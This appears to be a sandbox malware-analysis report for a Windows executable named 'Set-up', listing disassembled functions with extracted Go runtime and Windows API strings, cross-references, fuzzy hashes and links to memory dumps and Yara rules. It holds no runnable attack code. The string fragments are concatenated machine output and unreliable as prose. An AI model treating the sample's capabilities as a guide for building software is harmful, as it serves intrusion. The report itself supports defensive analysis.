runtime: unexpected waitm - semaphore out of syncs.allocCount != s.nelems && freeIndex == s.nelemsslice bounds out of range [::%x] with capacity %ystrings.Reader.UnreadByte: at beginning of stringstrings.Reader.WriteTo: invalid WriteString countsweeper left ou, xrefs: 00D499C7

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: 1$notetsleep - waitm out of syncprotocol wrong type for socket : Elem of invalid type : Len of non-array type : Out of non-func type rich header parsing failed: %vrunqputslow: queue is not fullruntime: bad g in cgocallbackruntime: bad pointer$runtime: unable to acquire - semaphore out of syncunhandled metadata table %d %s offset 0x%x cols %dx509: RSA public exponent is not a positive numberx509: invalid RDNSequence: invalid attribute valuex509: missing ASN.1 contents; use ParseCertificateExport dir$runtime: unexpected waitm - semaphore out of syncs.allocCount != s.nelems && freeIndex == s.nelemsslice bounds out of range [::%x] with capacity %ystrings.Reader.UnreadByte: at beginning of stringstrings.Reader.WriteTo: invalid WriteString countsweeper left ou
API String ID: 0-4093100599
Opcode ID: d0244cc6856200893c9c156c3312a28d88aa8e86306e6472b81e24c75721c7f9
Instruction ID: e9bdb087c528b05d29dd14bfbf5ecc998912c6a1fb7fdf9342bb8a04f28be918
Opcode Fuzzy Hash: d0244cc6856200893c9c156c3312a28d88aa8e86306e6472b81e24c75721c7f9
Instruction Fuzzy Hash: 2F7158B46093518FD314DF29C490B1BBBE0BF88714F09896CE8E89B392D771D845DBA2

Function 00D64D10 Relevance: 5.2, Strings: 4, Instructions: 181COMMON

Download Yara Rule

Strings

in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=Authorit, xrefs: 00D64F09
runtime: out of memory: cannot allocate runtime: typeBitsBulkBarrier with type ryuFtoaFixed32 called with negative prectoo many invalid names, aborting parsingx509: cannot parse IP address of length x509: malformed extension critical field34694469519536141888, xrefs: 00D64EB5
(, xrefs: 00D64EBE
-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcessesExitWindowsExFindFirstFileFindNextFileWFindResourceW, xrefs: 00D64EDF

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=Authorit$($-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcessesExitWindowsExFindFirstFileFindNextFileWFindResourceW$runtime: out of memory: cannot allocate runtime: typeBitsBulkBarrier with type ryuFtoaFixed32 called with negative prectoo many invalid names, aborting parsingx509: cannot parse IP address of length x509: malformed extension critical field34694469519536141888
API String ID: 0-4013262594
Opcode ID: 4849903ca8c5e77ffae9da78d92c07dec71582555245b922788fad91311a368a
Instruction ID: 0302f89bda0397eae833810aebee42b75d2d72b34a49f25c29d3d60cc74e9e80
Opcode Fuzzy Hash: 4849903ca8c5e77ffae9da78d92c07dec71582555245b922788fad91311a368a
Instruction Fuzzy Hash: 8D81CFB49097059FC704EF68D08165ABBE0FF88744F44882EE8C88B355EB79E945CF62

Function 00D79EB0 Relevance: 5.2, Strings: 4, Instructions: 166COMMON

Download Yara Rule

Strings

startm: p has runnable gsstoplockedm: not runnableunexpected '[' in addressunexpected ']' in addressunexpected fault address unexpected key value typeunknown Go type for slicex509: invalid RDNSequencex509: invalid RSA modulusx509: malformed extensionx509: malf, xrefs: 00D7A0E8
startm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: invalid version%SystemRoot%\system32\/lib/time/zoneinfo.zip4656612873077392578125Aleutian Standard TimeAtla, xrefs: 00D7A114
startm: negative nmspinningstopTheWorld: holding lockstime: invalid location nametimer when must be positivetoo many callback functionsunsupported string type: %vwork.nwait was > work.nprocx509: malformed certificate args stack map entries for 1818989403545856, xrefs: 00D7A0D2
startm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D7A0FE

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: startm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$startm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: invalid version%SystemRoot%\system32\/lib/time/zoneinfo.zip4656612873077392578125Aleutian Standard TimeAtla$startm: negative nmspinningstopTheWorld: holding lockstime: invalid location nametimer when must be positivetoo many callback functionsunsupported string type: %vwork.nwait was > work.nprocx509: malformed certificate args stack map entries for 1818989403545856$startm: p has runnable gsstoplockedm: not runnableunexpected '[' in addressunexpected ']' in addressunexpected fault address unexpected key value typeunknown Go type for slicex509: invalid RDNSequencex509: invalid RSA modulusx509: malformed extensionx509: malf
API String ID: 0-3722663094
Opcode ID: 56c1109f3a92a460bdea5de0ce2419dccd19e98d5ee83d21aa9192331d720f8c
Instruction ID: 0cca636b26d48f498ba10475263b83bbc6200c4d5cb8924ac1178d1e58f40187
Opcode Fuzzy Hash: 56c1109f3a92a460bdea5de0ce2419dccd19e98d5ee83d21aa9192331d720f8c
Instruction Fuzzy Hash: FF6147B41083458FC714DF24C090B6ABBE1FF89704F1589ADE8988B366E335D985DF22

Function 00D6B720 Relevance: 5.1, Strings: 4, Instructions: 149COMMON

Download Yara Rule

Strings

, xrefs: 00D6B7E7
, xrefs: 00D6B7A2
, xrefs: 00D6B836
, xrefs: 00D6B7DF

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: $ $ $
API String ID: 0-3535155489
Opcode ID: 821e137694c0afd86bdf23e01e499b0af95dfb0fe5a48a5ae8a42f9058656ce3
Instruction ID: d005dc8d5f9e7d0b5cff24ed98726ba42c8f40ff816b9e2cdd0d09dd546b8d5d
Opcode Fuzzy Hash: 821e137694c0afd86bdf23e01e499b0af95dfb0fe5a48a5ae8a42f9058656ce3
Instruction Fuzzy Hash: B971F0745087818FC364DF28C094B5AB7E2FFC9314F158A2EE4999B351DB359885CFA2

Function 00D43620 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

m changed unexpectedly in cgocallbackgmakechan: invalid channel element typeruntime: blocked read on free polldescruntime: sudog with non-false isSelectstrings.Reader.ReadAt: negative offsetstrings.Reader.Seek: negative positiontime: missing Location in call t, xrefs: 00D43846
runtime: bad g in cgocallbackruntime: bad pointer in frame runtime: found in object at *(runtime: impossible type kind socket operation on non-socketsync: inconsistent mutex statesync: unlock of unlocked mutextransform: short source bufferx509: SAN dNSName is, xrefs: 00D43721
cgocall nilclobberfreeclosesocketcreated by crypt32.dllfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedgetaddrinfogethostnamegetnameinfogetpeernamegetsocknamei/o timeoutioctlsocketmSpanManualmethodargs(mswsock.dllnetpoll, xrefs: 00D436E4
&, xrefs: 00D4384F

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: &$cgocall nilclobberfreeclosesocketcreated by crypt32.dllfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedgetaddrinfogethostnamegetnameinfogetpeernamegetsocknamei/o timeoutioctlsocketmSpanManualmethodargs(mswsock.dllnetpoll$m changed unexpectedly in cgocallbackgmakechan: invalid channel element typeruntime: blocked read on free polldescruntime: sudog with non-false isSelectstrings.Reader.ReadAt: negative offsetstrings.Reader.Seek: negative positiontime: missing Location in call t$runtime: bad g in cgocallbackruntime: bad pointer in frame runtime: found in object at *(runtime: impossible type kind socket operation on non-socketsync: inconsistent mutex statesync: unlock of unlocked mutextransform: short source bufferx509: SAN dNSName is
API String ID: 0-1219494809
Opcode ID: 5395b7705c2ad562e08b260c7119694a1e8729e4e888807983457d92b32ecab2
Instruction ID: 06277e912a4291965d84e3398ddbbb52e2a00570301f86a520cc87cbd283c308
Opcode Fuzzy Hash: 5395b7705c2ad562e08b260c7119694a1e8729e4e888807983457d92b32ecab2
Instruction Fuzzy Hash: 7A61C9B86093408FC704DF28C094B5ABBE1FF89714F5588ADE8898B362D775E845DF62

Function 00D61780 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

runtime: bad span s.state=runtime: pcHeader: magic= segment prefix is reservedshrinking stack in libcallstartlockedm: locked to metoo many colons in addresstruncated base 128 integeruse of invalid sweepLockerx509: invalid simple chainx509: malformed extensions, xrefs: 00D61936
s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCallFuncDispGetP, xrefs: 00D61964
sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagari, xrefs: 00D6198E
non in-use span in unswept listpacer: sweep done at heap size pattern contains path separatorpkcs7: unsupported algorithm %q : negative cap : negative len : Len of non-array type : NumIn of non-func typeresetspinnin, xrefs: 00D619C2

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCallFuncDispGetP$ sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagari$non in-use span in unswept listpacer: sweep done at heap size pattern contains path separatorpkcs7: unsupported algorithm %q : negative cap : negative len : Len of non-array type : NumIn of non-func typeresetspinnin$runtime: bad span s.state=runtime: pcHeader: magic= segment prefix is reservedshrinking stack in libcallstartlockedm: locked to metoo many colons in addresstruncated base 128 integeruse of invalid sweepLockerx509: invalid simple chainx509: malformed extensions
API String ID: 0-1656947467
Opcode ID: 6e802c9e90e355a3816289ef1bd32082f390ec5f08807bc242ef962be618a489
Instruction ID: 3619a952db0ea2b318798ff61c2fbb9b37e75456d517a0190722430f51138162
Opcode Fuzzy Hash: 6e802c9e90e355a3816289ef1bd32082f390ec5f08807bc242ef962be618a489
Instruction Fuzzy Hash: E26103B85097459FC700EF24D090A6ABBE0EF99340F49896EF8D887352E734D948DB63

Function 00D75D70 Relevance: 5.1, Strings: 4, Instructions: 129COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D75F2A
, xrefs: 00D75E45
: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCE, xrefs: 00D75DFB
<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06, xrefs: 00D75F00

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: $+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCE$<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06
API String ID: 0-1984634995
Opcode ID: 3f12131c717c495b6b98c31ba240555ee09125b1d14c1fa2b61b91be6b0bc45f
